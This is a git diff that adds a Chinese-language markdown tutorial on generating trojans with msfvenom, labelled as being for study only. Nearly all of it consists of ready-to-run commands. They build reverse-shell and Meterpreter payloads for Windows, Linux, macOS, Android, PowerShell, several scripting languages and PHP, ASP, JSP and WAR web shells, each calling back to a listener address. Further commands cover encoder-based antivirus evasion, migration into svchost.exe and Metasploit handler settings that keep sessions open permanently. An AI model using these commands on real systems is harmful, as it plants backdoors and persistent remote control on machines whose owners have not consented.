add 内网安全/0X05
After Width: | Height: | Size: 1.1 MiB |
After Width: | Height: | Size: 1.6 MiB |
After Width: | Height: | Size: 1004 KiB |
After Width: | Height: | Size: 1.6 MiB |
After Width: | Height: | Size: 202 KiB |
After Width: | Height: | Size: 123 KiB |
After Width: | Height: | Size: 109 KiB |
After Width: | Height: | Size: 141 KiB |
|
@ -0,0 +1,270 @@
|
|||
# 利用msfvenom生成木马
|
||||
```
|
||||
来源:外部贡献
|
||||
作者:悟空
|
||||
收录时间:2022年10月26日
|
||||
注:仅供openKyin社区兴趣研究、学习交流,切勿用于非法用途。
|
||||
```
|
||||
------
|
||||
### 介绍
|
||||
|
||||
msfvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自 2015年6月8日起,msfvenom替换了msfpayload和msfencode。
|
||||
<!--more-->
|
||||
#### 0x01 msfvenom参数
|
||||
|
||||
查看帮助参数的命令`msfvenom -h`
|
||||
|
||||
|
||||

|
||||
|
||||
中文版
|
||||
|
||||
```code
|
||||
Options:
|
||||
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
|
||||
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
|
||||
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
|
||||
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
|
||||
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
|
||||
-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位
|
||||
-platform <platform> 指定payload的目标平台
|
||||
-s, --space <length> 设定有效攻击荷载的最大长度
|
||||
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
|
||||
-i, --iterations <count> 指定payload的编码次数
|
||||
-c, --add-code <path> 指定一个附加的win32 shellcode文件
|
||||
-x, --template <path> 指定一个自定义的可执行文件作为模板
|
||||
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
|
||||
--payload-options 列举payload的标准选项
|
||||
-o, --out <path> 保存payload
|
||||
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
|
||||
--shellest 最小化生成payload
|
||||
-h, --help 查看帮助选项
|
||||
--help-formats 查看msf支持的输出格式列表
|
||||
```
|
||||
|
||||
如果想查看`linux/x64/meterpreter/reverse_tcp`支持什么平台和选项,可以用命令`msfvenom -p linux/x64/meterpreter/reverse_tcp --list-options`来进行查看
|
||||
|
||||
|
||||

|
||||
|
||||
使用`msfvenom --list payload`可以查看所有可以使用的`payload`
|
||||
|
||||

|
||||
|
||||
使用`msfvenom --list encoders`可以查看所有编码器,其中的`cmd/powershell_base64`和`x86/shikata_ga_nai`两个编码器的评价等级最高
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
#### 0x02 监听参数小技巧
|
||||
|
||||
**防止假session**
|
||||
|
||||
在实际渗透过程中,我们可能会遇到假session或者刚连接就断开的情况,如下参数可以防止这种情况的发生,可以在接受到seesion后继续监听端口,持续侦听。
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > set ExitOnSession false
|
||||
```
|
||||
|
||||
**防止session意外推出**
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟没有任何活动,那么就会被杀死,防止这种情况可将此项设置为0
|
||||
|
||||
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期后,会话将被强制关闭,修改它为0可永久不关闭
|
||||
```
|
||||
**handler后台持续监听**
|
||||
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > exploit -j -z
|
||||
```
|
||||
使用`exploit -j -z`可在后台持续坚挺,-j为后台任务,-z为持续监听,使用jobs命令查看和管理后台任务。`jobs -K`命令结束所有命令
|
||||
|
||||
还有一个快捷的建立监听的方式,在msf下直接执行
|
||||
|
||||
```
|
||||
msf5 > handler -H 192.168.197.202 -P 5555 -p windows/x64/meterpreter/reverse_tcp
|
||||
```
|
||||

|
||||
|
||||
msfvenom生成的Payload,会单独的开启一个新进程,这种容易被发现和关闭,后期做持久化的时候需要用到`migrate`进行进程迁移。
|
||||
|
||||

|
||||
|
||||
我们也可以把生成的payload直接注入到进程中去,使用如下命令
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.205 LPORT=5555 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o pentest.exe
|
||||
```
|
||||
|
||||
生成shell程序会启动两个进程一个是`pentest.exe`和`svchost.exe` ,这样关闭其中的一个会话不会影响会话的状态。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
生成的payload参数:
|
||||
|
||||
* `PrependMigrate=true PrependMigrateProc=svchost.exe`使这个程序默认会迁移到`svchost.exe`进程,可以选择其他的持久化进程
|
||||
|
||||
* 使用`-p`指定使用的攻击载荷模块,使用`-e`指定使用的`x86/shikata_ga_nai`编码器,`-b`去除指定代码,`-i`是编码5次,`-a`指定对应的操作系统,使用`-f`选项是指MSF编码器输出格式为`exe`,`-o`选项指定输出的文件名
|
||||
|
||||
|
||||
#### 0x03 各个平台payload生成
|
||||
|
||||
|
||||
**windows**
|
||||
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=4444 -a x86 --platform Windows -f exe > shell.exe
|
||||
|
||||
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f exe > shell.exe
|
||||
```
|
||||
|
||||
windows下生成32位/64位payload时需要记得一点的是,`windows/meterpreter/reverse_tc`默认是32位的,同样可以使用`-a x86`选项指定。要是64位则payload为`windows/x64/meterpreter/reverse_tcp`
|
||||
|
||||
**Linux**
|
||||
|
||||
linux平台,直接赋予执行权限,执行即可触发
|
||||
|
||||
```
|
||||
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f elf > shell.elf
|
||||
```
|
||||
|
||||
**Mac**
|
||||
|
||||
```
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -a x86 --platform osx -f macho > shell.macho
|
||||
```
|
||||
**Android**
|
||||
|
||||
android平台,这里生成的apk不能直接被装到手机上手机上,需要给apk签名后才能装,装完后点击dakai即可触发
|
||||
```
|
||||
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw > shell.apk
|
||||
|
||||
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 R > test.apk
|
||||
```
|
||||
**Powershell**
|
||||
|
||||
把文件编码后的powershell payload代码直接取出,丢到目标机器的cmd中执行触发,就会弹回一个poweshell的shell
|
||||
```
|
||||
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
|
||||
```
|
||||
**Netcat正向反向连接**
|
||||
|
||||
正向连接
|
||||
|
||||
反向连接
|
||||
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f exe> 1.exe
|
||||
```
|
||||
|
||||
##### 0x04 生成不同平台下Shellcode
|
||||
|
||||
**win平台shellcode**
|
||||
```
|
||||
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f c
|
||||
```
|
||||
|
||||
**linux平台shellcode**
|
||||
|
||||
```
|
||||
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f c
|
||||
```
|
||||
|
||||
**mac平台下sehllcode**
|
||||
```
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.197.202 LPORT=55555 -a x86 --platform osx -f c
|
||||
```
|
||||
|
||||
#### 0x05 基于各类web脚本,触发此类脚本执行方式,直接在url中访问该脚本即可
|
||||
|
||||
**python反弹shell**
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=192.168.197.202 LPORT=5555 -f raw > shell.py
|
||||
|
||||
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw > shell.py
|
||||
```
|
||||
|
||||
**shell**
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.197.202 LPORT=5555 -f raw > shell.sh
|
||||
```
|
||||
|
||||
**perl**
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.197.202 LPORT=5555 -f raw > shell.pl
|
||||
```
|
||||
**Lua**
|
||||
|
||||
```
|
||||
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.197.202 LPORT=5555 -f raw -o shell.lua
|
||||
```
|
||||
|
||||
**Ruby**
|
||||
|
||||
```
|
||||
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw -o shell.rb
|
||||
```
|
||||
|
||||
##### 0x06 Web
|
||||
|
||||
**PHP**
|
||||
```
|
||||
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw > shell.php
|
||||
```
|
||||
**ASPX**
|
||||
```
|
||||
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f aspx -o shell.aspx
|
||||
```
|
||||
**ASP**
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f asp > shell.asp
|
||||
```
|
||||
|
||||
**JSP**
|
||||
```
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw > shell.jsp
|
||||
```
|
||||
|
||||
**WAR**
|
||||
```
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f war > shell.war
|
||||
```
|
||||
**nodejs**
|
||||
|
||||
```
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.197.202 LPORT=5555 -f raw -o shell.js
|
||||
```
|
||||
|
||||
**Handlers**
|
||||
|
||||
创建好监听器,等待shell回连,务必注意,创建什么类型的payload就要用什么类型的监听器来接收,需要一一对应
|
||||
|
||||
```
|
||||
use exploit/multi/handler
|
||||
set payload <Payload name>
|
||||
set LHOST 192.168.197.202
|
||||
set LPORT 55555
|
||||
set ExitOnSession false
|
||||
exploit -j -z
|
||||
```
|
||||
|
||||
|
||||
|
||||
参考资料
|
||||
|
||||
|
||||
远控免杀专题文章(2)-msfvenom隐藏的参数:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w
|
||||
|
||||
msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/
|
||||
|
||||
Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/
|
||||
|
||||
|